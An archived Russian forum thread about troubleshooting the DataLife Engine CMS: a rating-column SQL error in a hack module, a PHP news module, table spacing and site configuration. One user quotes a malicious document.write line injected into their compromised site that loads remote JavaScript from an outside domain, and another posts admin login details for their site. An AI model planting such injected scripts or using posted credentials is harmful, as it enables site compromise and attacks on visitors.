Ru-Board.club
← Вернуться в раздел «Системы управления сайтами»

» DataLife Engine (DLE)

Автор: KkovikK
Дата сообщения: 25.07.2013 14:27
Artem00001

Цитата:
Прошу ответь, пусть даже оскорбление - главно что б я знал что это кто то видел

Видели все кто подписан на тему

А так ошибка из-за того, что php скрипт при запросе делает сортировку по полю rating

Цитата:
ORDER BY rating


Но этого поля в таблице нет - выдается ошибка. Этого поля по умолчанию нет в таблице "dle_post"

В инструкции написано

Цитата:
Хак был построен на основе другого модуля

Возможно именно этот модуль выставлял/добавлял это поле. А уже используя этот рейтинг (думаю именно какой то ретинг в этом поле) работает этот хак
Автор: Trolzen
Дата сообщения: 25.07.2013 14:34
Artem00001
Проблема в "ORDER BY rating". Видимо, название этого поля поменялось, или его убрали из таблицы dle_post. Надо посмотреть, какие поля есть и исправить на подходящее. ОК, уже ответили.
Автор: Artem00001
Дата сообщения: 25.07.2013 17:55
Trolzen, KkovikK,
Спасибо ребята! (уши от внимания покраснели!)
Колонки действительно почему то нет. Попробовал установить ДЛЕ в автоматическом режиме через install.php ещё раз, но нет, в БД опять нет колонки такой... Это баг, или так задумано..?

Потом пошёл туда сам (в таблицы эти) создал колонку 'rating' самостоятельно вроде с правильной структурой. Но теперь мне выкидывает ещё страшнее окошко:


Понятно только то, что говориться о какой то неоднозначности по поводу колонки.
Может нужно как то запрос в SQL кинуть, только какой?..
Автор: Trolzen
Дата сообщения: 25.07.2013 18:44
Колонку эту точно создавать не надо. Т.к. в движке она не учитана, то и заполняться не будет. Поэтому в её добавлении нет смысла.

Судя по всему, начиная с какой-то версии DLE колонку rating вынесли из dle_post в dle_post_extras. Модуль (или хак) какой-то странный в одном месте он знвет про таблицу dle_post_extras, в другом -- нет. Ты точно не две его разные версии поставил?
Автор: Artem00001
Дата сообщения: 25.07.2013 21:04
Trolzen,
Хм... Наверное модуль был первоначально разработан для версии 9.5. Как раз в этой версии колонку rating ещё "использовали" в таблице dle_post. А вот уже в версии 9.6 и последующих выпусках - в таблице dle_post_extras.

Самое интересное, что скачанный мной хак, так сказать "портированый" на ДЛЕ 9.6 с 9.5 не был переделан самим автором, а, надо полагать, кем то другим. Думаю поэтому такая проблема и возникла.

Брал файлы от сюда: http://www.dle9.com/haki/hak-dle/1654-hak-dle-alternativnyy......
Автор: Artem00001
Дата сообщения: 27.07.2013 09:05
Ну так как, сможете подправить? Об условиях можно договориться
Автор: KkovikK
Дата сообщения: 27.07.2013 10:27
Artem00001
А не проще найти аналог? Уверен что этот костыль не уникален
Автор: Artem00001
Дата сообщения: 27.07.2013 10:34
KkovikK,
Да искал я. Такого вкусненького нет, с остальными беда: или ума не хватает как его поставить (пусть даже всё подробно описано) или версия не подходит...
Ну в общем как здесь

Если есть что посоветовать - не откажусь
Автор: KkovikK
Дата сообщения: 27.07.2013 10:41

Цитата:
Если есть что посоветовать - не откажусь

Давно не юзаю сайты на этом движке, ничего посоветовать не могу
Автор: Artem00001
Дата сообщения: 27.07.2013 19:17
Ладно, спасибо всем что прояснили. Пойду читать / зубрить этот ПХП.
Вдруг сам что то смогу сварганить
Автор: vitalich2013
Дата сообщения: 28.07.2013 07:43
Странный модуль какой то.Обычно подключаются такие модули так {include file="engine/modules/topnews_mod.php"} а не {include file="topnews_mod.php"}.я так думаю не хватает самого модуля.

Добавлено:
[more] Я когда то ставил похожий вот его файл:
<?php $sql_result = $db->query( "SELECT id, title, date, alt_name, category, short_story, flag FROM " . PREFIX . "_post WHERE approve='1' ORDER BY rating DESC LIMIT 0,8" );while ( $row = $db->get_row()){$row['date'] = strtotime( $row['date'] );$row['category'] = intval( $row['category'] );if( $config['allow_alt_url'] == "yes"){if( $row['flag'] and $config['seo_type']){if( $row['category'] and $config['seo_type'] == 2 ){$full_link = $config['http_home_url'] . get_url( $row['category'] ) . "/" . $row['id'] . "-" . $row['alt_name'] . ".html";}else{$full_link = $config['http_home_url'] . $row['id'] . "-" . $row['alt_name'] . ".html";}}else{$full_link = $config['http_home_url'] . date( 'Y/m/d/', $row['date'] ) . $row['alt_name'] . ".html";}}else{$full_link = $config['http_home_url'] . "index.php?newsid=" . $row['id'];}$title = substr( $row['title'], 0, 23 ) . "...";$short_story = substr( strip_tags($row['short_story']), 0, 0 )."...";
$shortnews = $row['short_story'];
preg_match_all( '#<img[^>]*\\ssrc=(\'|")(.*?)\\1.*?>#i',$shortnews,$total);
foreach( $total[2] as $image )
echo('<a class="catName" href="'.$full_link.'"><table border="0" cellpadding="0" cellspacing="0">
<tbody><tr>
<td width="18" background="{THEME}/images/ram/tl.png" height="18">
</td>
<td background="{THEME}/images/ram/tm.png" height="18">
</td>

<td width="18" background="{THEME}/images/ram/tr.png" height="18">
</td>
</tr>
<tr>
<td width="18" background="{THEME}/images/ram/ml.png">
</td>
<td><img align="center" src="'.$image.'" width="101" height="100"></td>
<td width="18" background="{THEME}/images/ram/mr.png">
</td>
</tr>
<tr>
<td width="18" background="{THEME}/images/ram/bl.png" height="18">
</td>
<td background="{THEME}/images/ram/bm.png" height="18">
</td>

<td width="18" background="{THEME}/images/ram/br.png" height="18">
</td>
</tr>
</tbody></table><br />'.$title.'</a>')
;}
?> [/more]
Автор: Artem00001
Дата сообщения: 28.07.2013 12:56
vitalich2013,
Все зависит от того куды его кинуть (на работу не влияет, главно указать где этот файлик). Да, стандарт это папочка Модулес.
Автор: alexsey999
Дата сообщения: 15.08.2013 18:19

Цитата:
2. Нужно чтобы движок DLE воспринимал кириллицу, то есть пользователи могли через новость скачивать и воспроизводить файлы с русским названием и пробелами, также в каталогах с русским наименованием.


И всё-таки как сделать кириллические урл в новостях дле?

Добавлено:
Ну такие вопросы вообще смешно задавать. Почти любой варезник или киносайт сделан именно на DLE.... В гугле найти в 3,15...
Автор: Satanachia
Дата сообщения: 30.08.2013 11:37
Не знаю где задать такой вопрос. Прошу не пинать, но очень нужна помощь. В первые столкнулся с таким нонсенсом.
Стоит ограничение доступа к сайту на DLE по IP, но все равно кто то получает доступ. Вносит изменения в файлы сайта.
Как такое возможно?
Автор: KkovikK
Дата сообщения: 30.08.2013 18:21
Satanachia
вариантов много:
- имеют доступ к вашему ftp аккаунту
- имеют доступ к вашей mysql (могут менять статьи как захотят)
- если движок ломанный, то может содержать бекдор
- сайт взломали
Автор: Satanachia
Дата сообщения: 31.08.2013 03:53
KkovikK
FTP исключен, пароли в нем не сохраняю и меняю каждый день.
Доступ к панели управления закрыт по IP. так что тоже исключаем
DLE официальная, только регистрация левая, через известный сервис
Сайт взломали это понятно, но не до такой же степени, что даже ограничение доступа по IP обошли?
Разве такое возможно?
Автор: KkovikK
Дата сообщения: 31.08.2013 19:16

Цитата:
Разве такое возможно?

Конечно. Если сломали и закинули бекдор, то могут делать что захотят. Не проблема менять/удалять/копировать фыйлы на сервак/хостинг даже не имея явного ftp акка.

Еще не исключен взлом хостера, но это скорее редкость
Автор: Satanachia
Дата сообщения: 01.09.2013 06:09
KkovikK
Вот тут большой вопрос. В связи с тем, что хакер постоянно получает доступ к моему аккаунту у хостера.
С моей стороны проблем быть не должно, потому что захожу на хост с разных браузеров, портативного варианта, ничего не сохраняется в них. Система под заморозкой и стоит COMODO Firewall, настроенный на максимум(стенка сетевая)
Каждый день проверяю комп на вирусы утилитой Касперского, ничего не находит. Меняю пароли у хостера, каждый день. Ничего не помогает, колдовство какое то. Сейчас сам уже сомневаюсь, а не взломали ли его однако. Но какого черта этому гоблину, понадобилось от моего скромного сайта, не пойму зачем он в него вцепился. Посещаемость слабая, сайт молодой.
Автор: KkovikK
Дата сообщения: 01.09.2013 11:05
Satanachia
Перенесите на недельку к другому хостеру (многие дают бесплатно на тест некоторое время).
Автор: Satanachia
Дата сообщения: 01.09.2013 12:43
KkovikK
Может это вам что то подскажет или посоветуйте куда обратиться можно. Реально достало уже.
В файлы вносится строка
;document.write('<scr'+'ipt '); ;document.write('src="http://mrnadodisnam.ru/'+Math.round(Math.random()*99999)+'.js"'); ;document.write('></scr'+'ipt>');
Только адрес постоянно меняется на другой. В основном страдают скриптовые файлы, но иногда и в файлы шаблона пихает.
Автор: Satanachia
Дата сообщения: 12.09.2013 07:43
Прошу разьяснить что это? Откуда появилось и как избавится?
Недавно обнаружил что в теле новостей сайта, стал появлятся код #
Откуда сие и какой вред наносит? Помогите пожалуйста.
Автор: vladtimohov1991
Дата сообщения: 24.09.2013 03:25
А можно как-то разрешить всем просматривать ссылки в статьях, даже гостям. А то осмотрел все настройки и не нашёл этого.
Автор: nick0001
Дата сообщения: 24.10.2013 14:41

Цитата:
Прошу разьяснить что это? Откуда появилось и как избавится?
Недавно обнаружил что в теле новостей сайта, стал появлятся код #
Откуда сие и какой вред наносит? Помогите пожалуйста.


сломали вас значит, где-то дыра, вот и модифицируют код сайта.
Автор: xRAIDERx
Дата сообщения: 20.11.2013 18:57
День добрый всем.
Подскажите мб кто нить сталкивался с подобной задачей, проблемой?
Собственно не знаю как реализовать свою идею, а заключается она в том что бы на сайте дать пользователям возможность создавать собственную страничку, наверное (как я сейчас думаю) статическую страницу которая будет называться по нику пользователя, ну и на ней что бы пользователь мог писать текст, вставлять картинки, видео и т.п.
Вот не знаю как реализовать (мб есть что то лучше чем статические страницы или просто по другому) свою задумку.

Всем большое спасибо.
Автор: alex6886
Дата сообщения: 04.12.2013 21:10
у меня такая же проблема http://forum.ru-board.com/topic.cgi?forum=24&topic=9869,всё сделано по документации , права выставлены везде правильно,но вот такая ерунда,в редакторе пусто.
Автор: brduakh
Дата сообщения: 08.12.2013 21:11
как правильно настроить регистрацию на мейл? что нужно заполнить? имеется ввиду смт сервер пароль итп, откуда брать, спасибо!
Автор: frizoro
Дата сообщения: 15.01.2014 01:07
Проблема вызвана при добавление таблицы в новость на платформе DLE.
Искал решение проблемы в интернете, видел пару таких же проблем, но там не было решения.
Суть проблемы:
При добавление таблицы в новости, она почему-то делает большой отступ сверху.
Эта проблема точно не во мне, пробовал разное, в коде таблицы тоже нет ошибок.

Вот скрин: http://savepic.org/4920725.png

Прошу помощи.

Создал нового пользователя:
http://kino-sea.ru/admin.php
Логин: test
Пароль: test

Можете попробовать зайти и добавить новость с таблицей.

Ищу решения этой проблемы,не знаю почему такая вот кривизна.
Автор: Cheery
Дата сообщения: 15.01.2014 01:22
frizoro
пробовали таблицу создавать в одну строку? возможно движок так обрабатывает код, собирая все переносы строки (между тегами страницы) и вынося их отдельно.


Код: <table style="height: 248px; width: 421px;" border="3" width="421"><tbody><tr><td>Проверка таблицы</td><td>Проверка таблицы</td><td>Проверка таблицы</td><td>Проверка таблицы</td></tr><tr><td>Проверка таблицы</td><td>Проверка таблицы</td><td>Проверка таблицы</td><td>Проверка таблицы</td></tr></tbody></table>
Автор: jser
Дата сообщения: 15.01.2014 01:43
А вот нет отступа:
http://savepic.org/4976039.htm
Проблема может быть в том, что текст копируется и вставляется из Word 2007 и выше. Там добавляются xml'ные теги, которые не отображаются при прочтении новости,однако в коде новости присутствуют. Если вставлять обычный текст, либо набирать его в онлайновом редакторе прямо на сайте, отступа не будет
Автор: Cheery
Дата сообщения: 15.01.2014 01:54
jser

Цитата:
Проблема может быть в том, что текст копируется и вставляется из Word 2007 и выше. Там добавляются xml'ные теги, которые не отображаются при прочтении новости,однако в коде новости присутствуют

нет там в коде ничего, просто перед таблицей куча <br>..
если сделать без переносов между тегами, то и пустое место исчезает.

Страницы: 1234567891011121314151617181920212223242526272829303132333435363738

Предыдущая тема: Существует проблема на домашней страничке.


Форум Ru-Board.club — поднят 15-09-2016 числа. Цель - сохранить наследие старого Ru-Board, истории становления российского интернета. Сделано для людей.